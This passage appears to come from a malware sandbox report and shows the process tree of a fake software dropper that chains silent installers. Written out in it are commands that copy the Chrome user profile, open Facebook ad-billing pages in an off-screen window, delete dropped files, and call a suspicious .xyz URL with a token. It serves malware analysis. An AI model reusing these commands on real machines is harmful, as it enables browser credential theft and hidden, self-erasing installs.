                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\3c-88de4-1ec-44b90-aea26c0d538a6\Laemadatewae.exe"
                                                                                                                                                                                                                                                                                                                14⤵
                                                                                                                                                                                                                                                                                                                  PID:6792
                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\fpofen3k.hcx\gaooo.exe & exit
                                                                                                                                                                                                                                                                                                                    15⤵
                                                                                                                                                                                                                                                                                                                      PID:6228
                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\lrb0toxn.qsy\jgjg_note8876.exe & exit
                                                                                                                                                                                                                                                                                                                      15⤵
                                                                                                                                                                                                                                                                                                                        PID:5780
                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\lrb0toxn.qsy\jgjg_note8876.exe
                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\lrb0toxn.qsy\jgjg_note8876.exe
                                                                                                                                                                                                                                                                                                                          16⤵
                                                                                                                                                                                                                                                                                                                            PID:4024
                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\lcpnx1cj.svo\google-game.exe & exit
                                                                                                                                                                                                                                                                                                                          15⤵
                                                                                                                                                                                                                                                                                                                            PID:6836
                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\lcpnx1cj.svo\google-game.exe
                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\lcpnx1cj.svo\google-game.exe
                                                                                                                                                                                                                                                                                                                              16⤵
                                                                                                                                                                                                                                                                                                                                PID:8040
                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\rundll32.exe" "C:\Program Files\patch.dll",patch
                                                                                                                                                                                                                                                                                                                                  17⤵
                                                                                                                                                                                                                                                                                                                                    PID:7628
                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\bnsqqyho.zgr\askinstall31.exe & exit
                                                                                                                                                                                                                                                                                                                                15⤵
                                                                                                                                                                                                                                                                                                                                  PID:5764
                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\bnsqqyho.zgr\askinstall31.exe
                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\bnsqqyho.zgr\askinstall31.exe
                                                                                                                                                                                                                                                                                                                                    16⤵
                                                                                                                                                                                                                                                                                                                                      PID:6868
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vsrdk1gv.0ki\toolspab1.exe & exit
                                                                                                                                                                                                                                                                                                                                    15⤵
                                                                                                                                                                                                                                                                                                                                      PID:6540
                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\vsrdk1gv.0ki\toolspab1.exe
                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\vsrdk1gv.0ki\toolspab1.exe
                                                                                                                                                                                                                                                                                                                                        16⤵
                                                                                                                                                                                                                                                                                                                                          PID:6808
                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\vsrdk1gv.0ki\toolspab1.exe
                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\vsrdk1gv.0ki\toolspab1.exe
                                                                                                                                                                                                                                                                                                                                            17⤵
                                                                                                                                                                                                                                                                                                                                              PID:7764
                                                                                                                                                                                                                                                                                                                                • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\Three.exe
                                                                                                                                                                                                                                                                                                                                  "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\Three.exe"
                                                                                                                                                                                                                                                                                                                                  11⤵
                                                                                                                                                                                                                                                                                                                                    PID:6004
                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\8OVM3ODMW8\multitimer.exe
                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\8OVM3ODMW8\multitimer.exe" 0 306065bb10421b26.04333812 0 103
                                                                                                                                                                                                                                                                                                                                      12⤵
                                                                                                                                                                                                                                                                                                                                        PID:6916
                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\8OVM3ODMW8\multitimer.exe
                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\8OVM3ODMW8\multitimer.exe" 1 3.1618235810.607451a263b6b 103
                                                                                                                                                                                                                                                                                                                                          13⤵
                                                                                                                                                                                                                                                                                                                                            PID:5076
                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\8OVM3ODMW8\multitimer.exe
                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\8OVM3ODMW8\multitimer.exe" 2 3.1618235810.607451a263b6b
                                                                                                                                                                                                                                                                                                                                              14⤵
                                                                                                                                                                                                                                                                                                                                                PID:6804
                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\dwuui5soyai\Setup3310.exe
                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\dwuui5soyai\Setup3310.exe" /Verysilent /subid=577
                                                                                                                                                                                                                                                                                                                                                  15⤵
                                                                                                                                                                                                                                                                                                                                                    PID:7920
                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-FPA7M.tmp\Setup3310.tmp
                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-FPA7M.tmp\Setup3310.tmp" /SL5="$305E6,138429,56832,C:\Users\Admin\AppData\Local\Temp\dwuui5soyai\Setup3310.exe" /Verysilent /subid=577
                                                                                                                                                                                                                                                                                                                                                      16⤵
                                                                                                                                                                                                                                                                                                                                                        PID:8020
                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\is-RES2T.tmp\Setup.exe
                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\is-RES2T.tmp\Setup.exe" /Verysilent
                                                                                                                                                                                                                                                                                                                                                          17⤵
                                                                                                                                                                                                                                                                                                                                                            PID:4328
                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\qa4wje1hxu0\app.exe
                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\qa4wje1hxu0\app.exe" /8-23
                                                                                                                                                                                                                                                                                                                                                        15⤵
                                                                                                                                                                                                                                                                                                                                                          PID:7888
                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\p1wgetwmnd0\vpn.exe
                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\p1wgetwmnd0\vpn.exe" /silent /subid=482
                                                                                                                                                                                                                                                                                                                                                          15⤵
                                                                                                                                                                                                                                                                                                                                                            PID:8008
                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\is-B7ML7.tmp\vpn.tmp
                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\is-B7ML7.tmp\vpn.tmp" /SL5="$304A8,15170975,270336,C:\Users\Admin\AppData\Local\Temp\p1wgetwmnd0\vpn.exe" /silent /subid=482
                                                                                                                                                                                                                                                                                                                                                              16⤵
                                                                                                                                                                                                                                                                                                                                                                PID:8096
                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\MBSVIO3RE7\setups.exe
                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\MBSVIO3RE7\setups.exe" ll
                                                                                                                                                                                                                                                                                                                                                        12⤵
                                                                                                                                                                                                                                                                                                                                                          PID:7048
                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-9P2HS.tmp\setups.tmp
                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-9P2HS.tmp\setups.tmp" /SL5="$1049E,726852,244736,C:\Users\Admin\AppData\Local\Temp\MBSVIO3RE7\setups.exe" ll
                                                                                                                                                                                                                                                                                                                                                            13⤵
                                                                                                                                                                                                                                                                                                                                                              PID:6296
                                                                                                                                                                                                                                                                                                                                                        • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\jg7_7wjg.exe
                                                                                                                                                                                                                                                                                                                                                          "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\jg7_7wjg.exe"
                                                                                                                                                                                                                                                                                                                                                          11⤵
                                                                                                                                                                                                                                                                                                                                                            PID:5984
                                                                                                                                                                                                                                                                                                                                                          • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\RunWW.exe
                                                                                                                                                                                                                                                                                                                                                            "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\RunWW.exe"
                                                                                                                                                                                                                                                                                                                                                            11⤵
                                                                                                                                                                                                                                                                                                                                                              PID:5972
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c taskkill /im RunWW.exe /f & timeout /t 6 & del /f /q "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\RunWW.exe" & del C:\ProgramData\*.dll & exit
                                                                                                                                                                                                                                                                                                                                                                12⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:5864
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                                                                                    taskkill /im RunWW.exe /f
                                                                                                                                                                                                                                                                                                                                                                    13⤵
                                                                                                                                                                                                                                                                                                                                                                    • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                                                                    PID:5268
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                                                                                                                                                                    timeout /t 6
                                                                                                                                                                                                                                                                                                                                                                    13⤵
                                                                                                                                                                                                                                                                                                                                                                    • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                                                                                    PID:6148
                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\4czennwutny\d15koxtofe1.exe
                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\4czennwutny\d15koxtofe1.exe"
                                                                                                                                                                                                                                                                                                                                                          8⤵
                                                                                                                                                                                                                                                                                                                                                            PID:3500
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                              cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\4czennwutny\d15koxtofe1.exe"
                                                                                                                                                                                                                                                                                                                                                              9⤵
                                                                                                                                                                                                                                                                                                                                                                PID:5548
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                                                                                                                                                                                                                  ping 1.1.1.1 -n 1 -w 3000
                                                                                                                                                                                                                                                                                                                                                                  10⤵
                                                                                                                                                                                                                                                                                                                                                                  • Runs ping.exe
                                                                                                                                                                                                                                                                                                                                                                  PID:5684
                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\y0pcsc5hwqj\IBInstaller_97039.exe
                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\y0pcsc5hwqj\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq
                                                                                                                                                                                                                                                                                                                                                              8⤵
                                                                                                                                                                                                                                                                                                                                                                PID:4360
                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-2LBEU.tmp\IBInstaller_97039.tmp
                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-2LBEU.tmp\IBInstaller_97039.tmp" /SL5="$C004A,10078909,721408,C:\Users\Admin\AppData\Local\Temp\y0pcsc5hwqj\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq
                                                                                                                                                                                                                                                                                                                                                                  9⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:1612
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                      "cmd.exe" /c start http://leatherclothesone.xyz/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=97039
                                                                                                                                                                                                                                                                                                                                                                      10⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:5396
                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\is-RK5RF.tmp\{app}\vdi_compiler.exe
                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\is-RK5RF.tmp\{app}\vdi_compiler"
                                                                                                                                                                                                                                                                                                                                                                        10⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:5464
                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\txusaeaz53v\app.exe
                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\txusaeaz53v\app.exe" /8-23
                                                                                                                                                                                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:4304
                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\rrun1kq0dy5\vpn.exe
                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\rrun1kq0dy5\vpn.exe" /silent /subid=482
                                                                                                                                                                                                                                                                                                                                                                        8⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:4876
                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-MG7NH.tmp\vpn.tmp
                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-MG7NH.tmp\vpn.tmp" /SL5="$30330,15170975,270336,C:\Users\Admin\AppData\Local\Temp\rrun1kq0dy5\vpn.exe" /silent /subid=482
                                                                                                                                                                                                                                                                                                                                                                            9⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:2308
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "
                                                                                                                                                                                                                                                                                                                                                                                10⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:6332
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
                                                                                                                                                                                                                                                                                                                                                                                    tapinstall.exe remove tap0901
                                                                                                                                                                                                                                                                                                                                                                                    11⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:6572
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "
                                                                                                                                                                                                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:7200
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
                                                                                                                                                                                                                                                                                                                                                                                        tapinstall.exe install OemVista.inf tap0901
                                                                                                                                                                                                                                                                                                                                                                                        11⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:4200
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\MaskVPN\mask_svc.exe
                                                                                                                                                                                                                                                                                                                                                                                        "C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall
                                                                                                                                                                                                                                                                                                                                                                                        10⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:2336
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\3lknkjwqeph\h2r4q0plkgc.exe
                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\3lknkjwqeph\h2r4q0plkgc.exe" /quiet SILENT=1 AF=756
                                                                                                                                                                                                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:5160
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Weather\Weather 1.0.0\install\FD7DF1F\Weather Installation.msi" /quiet SILENT=1 AF=756 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\3lknkjwqeph\h2r4q0plkgc.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\3lknkjwqeph\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1617983804 /quiet SILENT=1 AF=756 " AF="756" AI_CONTROL_VISUAL_STYLE="16578540;16578540;14988840;12422912"
                                                                                                                                                                                                                                                                                                                                                                                          9⤵
                                                                                                                                                                                                                                                                                                                                                                                            PID:6468
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\ZY05T9W444\setups.exe
                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\ZY05T9W444\setups.exe" ll
                                                                                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                    PID:4692
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-KISLS.tmp\setups.tmp
                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-KISLS.tmp\setups.tmp" /SL5="$2029E,726852,244736,C:\Users\Admin\AppData\Local\Temp\ZY05T9W444\setups.exe" ll
                                                                                                                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                      • Checks computer location settings
                                                                                                                                                                                                                                                                                                                                                                                      • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                                                                      PID:4708
                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\RarSFX1\Full Version.exe
                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Full Version.exe"
                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                  • Drops file in Program Files directory
                                                                                                                                                                                                                                                                                                                                                                                  PID:1336
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\WScript.exe" "C:\Program Files\unins0000.vbs"
                                                                                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:1640
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install
                                                                                                                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                                                        PID:4208
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe
                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe"
                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                    • Drops Chrome extension
                                                                                                                                                                                                                                                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                                                    PID:508
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                      cmd.exe /c taskkill /f /im chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:4104
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                                                                                                          taskkill /f /im chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                                                                                                                                          • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                                                          PID:2140
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\xcopy.exe
                                                                                                                                                                                                                                                                                                                                                                                        xcopy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data" "C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\" /s /e /y
                                                                                                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                                                                                                        • Enumerates system info in registry
                                                                                                                                                                                                                                                                                                                                                                                        PID:1444
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --window-position=-50000,-50000 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" https://www.facebook.com/ https://www.facebook.com/pages/ https://secure.facebook.com/ads/manager/account_settings/account_billing/
                                                                                                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:4712
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xd4,0xd8,0xdc,0xb0,0xe0,0x7ff9cccc4f50,0x7ff9cccc4f60,0x7ff9cccc4f70
                                                                                                                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:4732
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1688,1424020330080219439,18356448051855215467,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=2220 /prefetch:8
                                                                                                                                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:5080
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1688,1424020330080219439,18356448051855215467,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2808 /prefetch:1
                                                                                                                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                                                                                                                  PID:196
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1688,1424020330080219439,18356448051855215467,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2800 /prefetch:1
                                                                                                                                                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:1312
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1688,1424020330080219439,18356448051855215467,131072 --lang=en-US --service-sandbox-type=network --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=1748 /prefetch:8
                                                                                                                                                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                                                                                                                                                      PID:3300
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1688,1424020330080219439,18356448051855215467,131072 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1700 /prefetch:2
                                                                                                                                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:4128
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1688,1424020330080219439,18356448051855215467,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3232 /prefetch:1
                                                                                                                                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:3956
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1688,1424020330080219439,18356448051855215467,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3216 /prefetch:1
                                                                                                                                                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:4920
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1688,1424020330080219439,18356448051855215467,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3764 /prefetch:1
                                                                                                                                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                                                                                                                                              PID:5144
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
